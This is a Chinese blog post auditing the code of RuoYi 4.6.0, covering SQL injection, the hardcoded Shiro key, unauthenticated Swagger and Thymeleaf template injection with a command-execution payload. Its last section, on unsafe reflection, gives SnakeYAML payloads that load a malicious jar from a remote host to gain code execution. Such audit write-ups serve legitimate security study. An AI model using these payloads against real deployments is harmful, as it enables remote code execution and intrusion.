JAVA代审-RuoYi4.6.0

项目介绍

一直想做一款后台管理系统,看了很多优秀的开源项目但是发现没有合适的。于是利用空闲休息时间开始自己写了一套后台系统。如此有了若依。她可以用于所有的Web应用程序,如网站管理后台,网站会员中心,CMS,CRM,OA。所有前端后台代码封装过后十分精简易上手,出错概率低。同时支持移动客户端访问。系统会陆续更新一些实用功能。

内置功能

  1. 用户管理:用户是系统操作者,该功能主要完成系统用户配置。
  2. 部门管理:配置系统组织机构(公司、部门、小组),树结构展现支持数据权限。
  3. 岗位管理:配置系统用户所属担任职务。
  4. 菜单管理:配置系统菜单,操作权限,按钮权限标识等。
  5. 角色管理:角色菜单权限分配、设置角色按机构进行数据范围权限划分。
  6. 字典管理:对系统中经常使用的一些较为固定的数据进行维护。
  7. 参数管理:对系统动态配置常用参数。
  8. 通知公告:系统通知公告信息发布维护。
  9. 操作日志:系统正常操作日志记录和查询;系统异常信息日志记录和查询。
  10. 登录日志:系统登录日志记录查询包含登录异常。
  11. 在线用户:当前系统中活跃用户状态监控。
  12. 定时任务:在线(添加、修改、删除)任务调度包含执行结果日志。
  13. 代码生成:前后端代码的生成(java、html、xml、sql)支持CRUD下载 。
  14. 系统接口:根据业务代码自动生成相关的api接口文档。
  15. 服务监控:监视当前系统CPU、内存、磁盘、堆栈等相关信息。
  16. 缓存监控:对系统的缓存查询,删除、清空等操作。
  17. 在线构建器:拖动表单元素生成相应的HTML代码。
  18. 连接池监视:监视当前系统数据库连接池状态,可进行分析SQL找出系统性能瓶颈。

环境搭建

项目地址:https://gitee.com/y_project/RuoYi/repository/archive/v4.6.0.zip

下载到本地后解压IDEA打开

修改数据库配置文件,并且创建对应数据库导入两个sql文件

文件路径:RuoYi-v4.6.0\sql\

导入完成后,启动项目访问配置文件中对应本地端口

默认账号密码:admin/admin123

漏洞挖掘

SQL注入

项目介绍和pom.xml都能知道数据库接口使用的是mybatis

全局搜索关键词${

这里有两种,这里一个是存在注入的一个不存在,这里把两个都分析一下

第一处(不存在)

对应文件:\RuoYi-v4.6.0\ruoyi-system\src\main\resources\mapper\system\SysDeptMapper.xml

这里对应的是updateDeptStatus方法,参数是ancestors,我们记一下

跳转到dao层

查看使用到service

接着往上跟

这里有个getAncestors方法,其实就获取ancestors的,我们看下它是咋来的,是从newParentDept中获取的,newParentDept是通过selectDeptById方法获取的

那么这个方法其实就是根据我们传入的ID获取数据库表的对应数据,然后从里面获取Ancestors,查询的是sys_dept表,我们打开数据库看下

也就是值不可控,所以没办法

第二处(存在)

对应文件:

RuoYi-v4.6.0\ruoyi-system\src\main\resources\mapper\system\SysUserMapper.xml

{params.dataScope}这个写法我记得之前有写过一篇系统的注入也是这个写法,这种写法通常用于动态插入一些复杂的 SQL 片段,例如数据权限过滤条件。这种方式可以灵活地根据业务需求动态生成 SQL 语句

我们跳转到dao层往上跟到功能层

根据路由构造访问

/system/role/authUser/allocatedList

除了这一处还有几处也是同样写法,感兴趣的可以自己下去跟

Shiro硬编码

这个可是说是ruoyi的代表漏洞了

通过系统介绍或者pom.xml都可以得知ruoyi使用了shiro,这里的版本是1.7.0

按道理来说是没漏洞的,但是ruoyi采用的是硬编码,把加密的key值写在了配置文件中

全局搜索cipherKey

直接使用工具利用

Swagger未授权

项目中存在Swagger依赖

并且是开启状态

可以看配置文件或者直接扫目录也行,访问:http://127.0.0.1:8080/swagger-ui.html

发现开放了用户操作的接口

可以通过接口获取用户和密码

Thymeleaf模板注入

项目使用到了Thymeleaf模板引擎

版本是3.0.11,是存在漏洞的版本,全局搜索::,也就是片段表达式

随便点一个

这里可控的是fragment,通过post请求直接传

尝试构造访问,传入我们的poc

__$%7bnew%20java.util.Scanner(T(java.lang.Runtime).getRuntime().exec(%22calc%22).getInputStream()).next()%7d__

不安全的反射

全局搜索forname(

优先看下面两个

这从注释中就可以得到功能点应该是和系统相关的

们下个断点,然后执行一次计划任务看下是否会触发方法

可以看到这里是断下来了,流程没问题,if是判断我们传入的类是否是一个有效类,这个正常传就行,那么我们就有开始想如何利用了

由于系统没有任意文件上传,不能尝试上传恶意类然后反射,那么只能从环境中现有的类入手。

由于这里执行的是Object bean = Class.forName(beanName).newInstance()要满足下面几个条件

  1. 1、类必须要有无参构造函数 .
  2. 2、类的构造函数不能是私有的 , 也就是不能通过 “private“ 修饰符来修饰构造函数
  3. 3、调用目标字符串的参数为:支持字符串,布尔类型,长整型,浮点型,整型
  4. 4、在满足上面三个条件后我们还得能够造成危害

就前面两个条件就把我们常规命令执行的路都堵上了,但是好巧不巧ruoyi中引入了snakeyaml

版本是1.25,那么这个版本是存在反序列化漏洞的,而且snakeyaml触发反序列化的写法是

org.yaml.snakeyaml.Yaml.load('序列化数据')

并且load方法是public

可以说是完美符合了

我们尝试传入利用poc

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager
[!!java.net.URLClassLoader [[!!java.net.URL ["http://o58dcubl.requestrepo.com://"]]]]')

保存然后执行

也可以使用下面poc远程加载恶意jar包造成RCE

org.yaml.snakeyaml.Yaml.load('!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://127.0.0.1/yaml-payload.jar"]]]]')

恶意jar包生成(自己写也可以使用下面项目也可以)

项目地址:https://github.com/artsploit/yaml-payload/

项目下载到本地解压idea打开,修改要执行的命令

然后打开md文件,有编译命令

这里执行的时候由于是命令行执行,要注意自己本地的javac版本,如果本地有多个java版本的话可能会出现javac版本是17,java是8的情况,到时候加载类的时候会报错

运行完成后会生成yaml-payload.jar文件,放到web服务上

然后执行我们设置好的计划任务

这个漏洞网上都说是snakeyaml反序列化漏洞,那么实际上这个是不安全反射的问题,snakeyaml反序列化只是利用方式。

相关文章

Java运行环境配置

若要在计算机上运行Java程序,需要配置Java运行环境(JRE)或Java开发工具包(JDK)。以下是在Windows操作系统上配置Java运行环境的步骤:下载Java安装程序:前往Oracle官方...

第五章:Java方法和参数传递

第五章:Java方法和参数传递在Java编程中,方法是一种重要的概念,它能够将一段代码封装成一个可重复使用的单元。本章将详细介绍Java方法的定义和调用,方法的重载和重写,以及Java中的参数传递方式...

「Java后端」开发环境搭建指南

1. Java1.1 Java安装及配置统一使用Oracle Java,版本为1.8,安装完成后配置环境变量JAVA_HOME及PATH。在命令行执行java -version应显示正确版本号。2....

第十五章:Java测试和调试(完结)

在软件开发的过程中,测试和调试是不可或缺的环节。测试是用于验证程序的正确性和稳定性,而调试则是用于排查和修复程序中的错误。本章将介绍Java中的测试和调试相关的概念、方法、工具和技巧。15.1 Jav...

JVM内存溢出常用排查命令

最近,有一个项目在不超过的12小时内,一定会内存溢出(java.lang.OutOfMemoryError:Java heap space)。由于当时比较忙,没有时间去具体分析,所以暂时只是加大了JV...

JVM常用指令

目录:一.引言二.基础故障处理工具2.1 概述2.2. jps:虚拟机进程状况工具2.3. jstat:虚拟机统计信息监视工具2.3. jinfo:java配置信息工具2.5. jmap:Java...